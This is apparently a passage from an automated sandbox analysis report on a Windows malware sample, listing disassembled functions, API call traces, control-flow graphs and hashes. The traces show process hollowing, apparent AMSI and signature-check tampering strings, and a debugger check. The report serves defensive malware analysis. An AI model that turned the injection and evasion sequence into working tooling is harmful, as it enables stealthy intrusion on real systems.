                                                                                                                                                                                                                                    • Part of subcall function 031E7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031E7A9F
                                                                                                                                                                                                                                    • Part of subcall function 031E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E7DEC
                                                                                                                                                                                                                                  • SetThreadContext.KERNEL32(0000089C,03257424,ScanBuffer,032573A8,031EA93C,ScanString,032573A8,031EA93C,Initialize,032573A8,031EA93C,00000884,00383FF8,032574FC,00000004,03257500), ref: 031EA317
                                                                                                                                                                                                                                  • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(0000089C,00000000,0000089C,03257424,ScanBuffer,032573A8,031EA93C,ScanString,032573A8,031EA93C,Initialize,032573A8,031EA93C,00000884,00383FF8,032574FC), ref: 031EA324
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize,032573A8,031EA93C,UacScan), ref: 031E8960
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031E897A
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize), ref: 031E89B6
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
                                                                                                                                                                                                                                  • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                                                                                  • API String ID: 2388221946-51457883
                                                                                                                                                                                                                                  • Opcode ID: 7ec1597405902ea981726cb17b41ba50af5eae15be1311aff387455d23867615
                                                                                                                                                                                                                                  • Instruction ID: e218f56767152d26a3029d284318b0eda7d435c50598b82f1376e3e7a679b747
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7ec1597405902ea981726cb17b41ba50af5eae15be1311aff387455d23867615
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0CE2D839A006589FCB11FB65D981BCE77B9EF8E600F5081A2A049AF215DF31EE85CF51
                                                                                                                                                                                                                                  Function 031E8D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 6882 31e8d6e-31e8d73 6884 31e8d78-31e8d7d 6882->6884 6884->6884 6885 31e8d7f-31e8e66 call 31d4990 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6884->6885 6916 31e8e6c-31e8f47 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6885->6916 6917 31ea8b7-31ea921 call 31d4500 * 2 call 31d4c60 call 31d4500 call 31d44dc call 31d4500 * 2 6885->6917 6916->6917 6961 31e8f4d-31e9275 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d30d4 * 2 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4de0 call 31d4df0 call 31e8788 6916->6961 7070 31e92e8-31e9609 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d2ee0 call 31d2f08 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 GetThreadContext 6961->7070 7071 31e9277-31e92e3 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 6961->7071 7070->6917 7179 31e960f-31e9872 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8400 7070->7179 7071->7070 7252 31e9b7f-31e9beb call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 7179->7252 7253 31e9878-31e99e1 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8670 7179->7253 7280 31e9bf0-31e9d70 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7a2c 7252->7280 7343 31e9a0b-31e9a77 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 7253->7343 7344 31e99e3-31e9a09 call 31e7a2c 7253->7344 7280->6917 7384 31e9d76-31e9e6f call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e8c80 7280->7384 7352 31e9a7c-31e9b7d call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7a2c 7343->7352 7344->7352 7352->7280 7435 31e9ec3-31ea8b2 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7d78 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e7d78 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 SetThreadContext NtResumeThread call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d2c2c call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e894c * 3 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31e894c * 2 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c * 5 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31e8080 call 31e894c * 2 7384->7435 7436 31e9e71-31e9ebe call 31e8b78 call 31e8b6c 7384->7436 7435->6917 7436->7435
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                    • Part of subcall function 031E8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031E8814
                                                                                                                                                                                                                                  • GetThreadContext.KERNEL32(0000089C,03257424,ScanString,032573A8,031EA93C,UacInitialize,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,UacInitialize,032573A8), ref: 031E9602
                                                                                                                                                                                                                                    • Part of subcall function 031E8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E8471
                                                                                                                                                                                                                                    • Part of subcall function 031E8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031E86D5
                                                                                                                                                                                                                                    • Part of subcall function 031E7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031E7A9F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
                                                                                                                                                                                                                                  • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                                                                                  • API String ID: 3386062106-51457883
                                                                                                                                                                                                                                  • Opcode ID: 87a164bf986b59b0cda59d4a55154376a90dae0119739a2ba3ddc79988abd861
                                                                                                                                                                                                                                  • Instruction ID: 33021c65591a8d5aa3b2e84d9c4cb94468039b367a4793fd3a53d0295ff67094
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 87a164bf986b59b0cda59d4a55154376a90dae0119739a2ba3ddc79988abd861
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 37E2D839A006589FCB11FB65D981BCE77B9EF8E600F5081A2A049AF215DF31EE85CF51
                                                                                                                                                                                                                                  Function 031D5ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 10943 31d5acc-31d5b0d GetModuleFileNameA RegOpenKeyExA 10944 31d5b4f-31d5b92 call 31d5908 RegQueryValueExA 10943->10944 10945 31d5b0f-31d5b2b RegOpenKeyExA 10943->10945 10952 31d5b94-31d5bb0 RegQueryValueExA 10944->10952 10953 31d5bb6-31d5bd0 RegCloseKey 10944->10953 10945->10944 10946 31d5b2d-31d5b49 RegOpenKeyExA 10945->10946 10946->10944 10948 31d5bd8-31d5c09 lstrcpynA GetThreadLocale GetLocaleInfoA 10946->10948 10950 31d5c0f-31d5c13 10948->10950 10951 31d5cf2-31d5cf9 10948->10951 10955 31d5c1f-31d5c35 lstrlenA 10950->10955 10956 31d5c15-31d5c19 10950->10956 10952->10953 10957 31d5bb2 10952->10957 10958 31d5c38-31d5c3b 10955->10958 10956->10951 10956->10955 10957->10953 10959 31d5c3d-31d5c45 10958->10959 10960 31d5c47-31d5c4f 10958->10960 10959->10960 10961 31d5c37 10959->10961 10960->10951 10962 31d5c55-31d5c5a 10960->10962 10961->10958 10963 31d5c5c-31d5c82 lstrcpynA LoadLibraryExA 10962->10963 10964 31d5c84-31d5c86 10962->10964 10963->10964 10964->10951 10965 31d5c88-31d5c8c 10964->10965 10965->10951 10966 31d5c8e-31d5cbe lstrcpynA LoadLibraryExA 10965->10966 10966->10951 10967 31d5cc0-31d5cf0 lstrcpynA LoadLibraryExA 10966->10967 10967->10951
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,?,00000105,031D0000,031FE790), ref: 031D5AE8
                                                                                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031D0000,031FE790), ref: 031D5B06
                                                                                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031D0000,031FE790), ref: 031D5B24
                                                                                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031D5B42
                                                                                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,031D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031D5B8B
                                                                                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,031D5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,031D5BD1,?,80000001), ref: 031D5BA9
                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,031D5BD8,00000000,?,?,00000000,031D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031D5BCB
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031D5BE8
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 031D5BF5
                                                                                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 031D5BFB
                                                                                                                                                                                                                                  • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 031D5C26
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031D5C6D
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031D5C7D
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031D5CA5
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031D5CB5
                                                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 031D5CDB
                                                                                                                                                                                                                                  • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 031D5CEB
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                                                                                                                                  • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                                                                                                  • API String ID: 1759228003-2375825460
                                                                                                                                                                                                                                  • Opcode ID: 3aaa8965849a99f24e63c277173e03d459206cbb72c140b861161243a09a3267
                                                                                                                                                                                                                                  • Instruction ID: 4991132e934e10ce46b44e9b04b9020800d40139ffd58e024616d91ec91bea19
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3aaa8965849a99f24e63c277173e03d459206cbb72c140b861161243a09a3267
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9551A675A4035C7FFB21D6E48C46FEFBBAD9B0F740F5401B5AA00E6181EB749A448B60
                                                                                                                                                                                                                                  Function 031E894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 13203 31e894c-31e8971 LoadLibraryW 13204 31e89bb-31e89c1 13203->13204 13205 31e8973-31e898b GetProcAddress 13203->13205 13206 31e898d-31e89ac call 31e7d78 13205->13206 13207 31e89b0-31e89b6 FreeLibrary 13205->13207 13206->13207 13210 31e89ae 13206->13210 13207->13204 13210->13207
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize,032573A8,031EA93C,UacScan), ref: 031E8960
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031E897A
                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize), ref: 031E89B6
                                                                                                                                                                                                                                    • Part of subcall function 031E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E7DEC
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                                                                                                                                                                  • String ID: BCryptVerifySignature$bcrypt
                                                                                                                                                                                                                                  • API String ID: 1002360270-4067648912
                                                                                                                                                                                                                                  • Opcode ID: 0ede64f9a2a32a7730cb0957a62c7cc10cad008d69bdd60825da0a6c55ef77b1
                                                                                                                                                                                                                                  • Instruction ID: d13e9a895cd3fee45d7dce659ab2b17e51be3049587608a6e29ffdf06ef9cc02
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0ede64f9a2a32a7730cb0957a62c7cc10cad008d69bdd60825da0a6c55ef77b1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8BF06D71A81714BFE320FE6DBC8DF977798D7BAA34F04416ABD088B244C7721A808764
                                                                                                                                                                                                                                  Function 031EF744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 13220 31ef744-31ef75e GetModuleHandleW 13221 31ef78a-31ef792 13220->13221 13222 31ef760-31ef772 GetProcAddress 13220->13222 13222->13221 13223 31ef774-31ef784 CheckRemoteDebuggerPresent 13222->13223 13223->13221 13224 31ef786 13223->13224 13224->13221
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(KernelBase), ref: 031EF754
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 031EF766
                                                                                                                                                                                                                                  • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 031EF77D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                                                                                                                                                                  • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                                                                                                                                                                  • API String ID: 35162468-539270669
                                                                                                                                                                                                                                  • Opcode ID: f061218c9db0eeb91c4735768cbb8bf1fc1b94f2e2fe774d9b97a07fa868d731
                                                                                                                                                                                                                                  • Instruction ID: b00459151ec408a245509faa758f4ff8b4a89e5255d237d78f4c3c9ab39ec92d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f061218c9db0eeb91c4735768cbb8bf1fc1b94f2e2fe774d9b97a07fa868d731
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E1F0A070D04698BFDB10E6F888887DCFBA89B0D225F694391A874A21C2E7760685D691
                                                                                                                                                                                                                                  Function 031EDD70 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031D4F2E
                                                                                                                                                                                                                                  • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031EDE40), ref: 031EDDAB
                                                                                                                                                                                                                                  • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,031EDE40), ref: 031EDDDB
                                                                                                                                                                                                                                  • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 031EDDF0
                                                                                                                                                                                                                                  • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 031EDE1C
                                                                                                                                                                                                                                  • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 031EDE25
                                                                                                                                                                                                                                    • Part of subcall function 031D4C60: SysFreeString.OLEAUT32(031EF4A4), ref: 031D4C6E
                                                                                                                                                                                                                                  Memory Dump Source
